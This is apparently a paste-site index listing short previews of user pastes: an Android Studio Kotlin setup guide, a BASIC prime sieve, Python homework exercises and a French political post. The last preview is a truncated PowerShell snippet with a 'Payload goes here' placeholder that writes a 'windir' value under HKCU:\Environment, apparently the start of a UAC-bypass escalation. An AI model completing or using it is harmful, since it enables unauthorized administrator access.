List of pastes

List of pastes
:

Getting started with Kotlin Development in Android Studio (Plain text) kronstadt 2019-04-24 03:43
I am using Fedora Linux, but the procedure should not vary wildly. You will see that it is very easy to get started. 1. Download from https://developer.android.com/studio/index.html (1,1 GB) 2. Unpack (e. g. `sudo tar xzvf android-s...
PRIMES.BAS (Plain text) reiisi 2019-04-23 11:55
Building a sieve and counting primes in BASIC on the venerable Color Computer. Can go up to 4,100 primes in a 32K machine, see MAX on line 10. 4,100 requires three minutes or so.
Python文件作业 (Plain text) zyc1061422 2019-04-22 23:21
#20190409文件读入作业 f = open("white_wine.csv","r") out = open("output.txt","w") lines = f.readlines() quality=set() dic = {} fa = {} #001输出数据的前五行 for i in range(0,5): lines[i]=lines[i].strip() print(lines[i]) ...
20190416实验002 (Plain text) zyc1061422 2019-04-16 18:51
#bduegf #001输出有多个出版社 fi = open("book_list.csv","r") lines = fi.readlines() fl = lines[0] pub = set() for i in range(1,len(lines)): line = lines[i] line = line.strip() line = line.split(',') line = line[-...
20190416实验001 (Plain text) zyc1061422 2019-04-16 17:46
#20190416001 f = open("students.txt","r") infor = f.readlines() list1 = ['学号:',',姓名:',',年龄:',',专业:',',分数"'] num = len(infor) for i in range(num): if i : line = infor[i].strip() line = line.split('\t'...
20190402实验003 (Plain text) zyc1061422 2019-04-02 18:19
#模块 ''' include tow functions the first function is used to find the max number in the list the second function is used to calculate the average of a set of numbers ''' import random def findMax(lst): maxx=-100000 for ...
20190402实验002 (Plain text) zyc1061422 2019-04-02 17:58
#3-2 #001 import math def sum(a=10,b=20,c=30): return a+b+c #001三个数都不确定 print("001 ",sum()) #002只有一个数是确定的 print("002 ",sum(20)) #003有两个数是确定的 print("003 ",sum(20,40)) #004三个数都是确定的 print("...
20190402实验001 (Plain text) zyc1061422 2019-04-02 17:47
#实验001 #1. import math ls1=[] for i in range(1,101): if i%2 == 0: ls1.append(i*2) else: ls1.append(i) print(ls1) #2. ls2=[i*i for i in ls1] print(ls2)
Untitled (Plain text) aragami 2019-03-19 19:45
Le 19 mars la fcpe58 sera mobilisée contre la loi Blanquer ! Nous ne laisserons pas détruire l'école de nos enfants Ce n'est pas de moi, la situation est bien résumée : Font chier ces profs ! toujours en grève !!! On bosse nous, c...
Untitled (Plain text) cro-thehacker 2019-03-15 22:23
if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) { #Payload goes here #It'll run as Administrator } else { $registryPath = "HKCU:\Environment" $Name = "windir" $Va...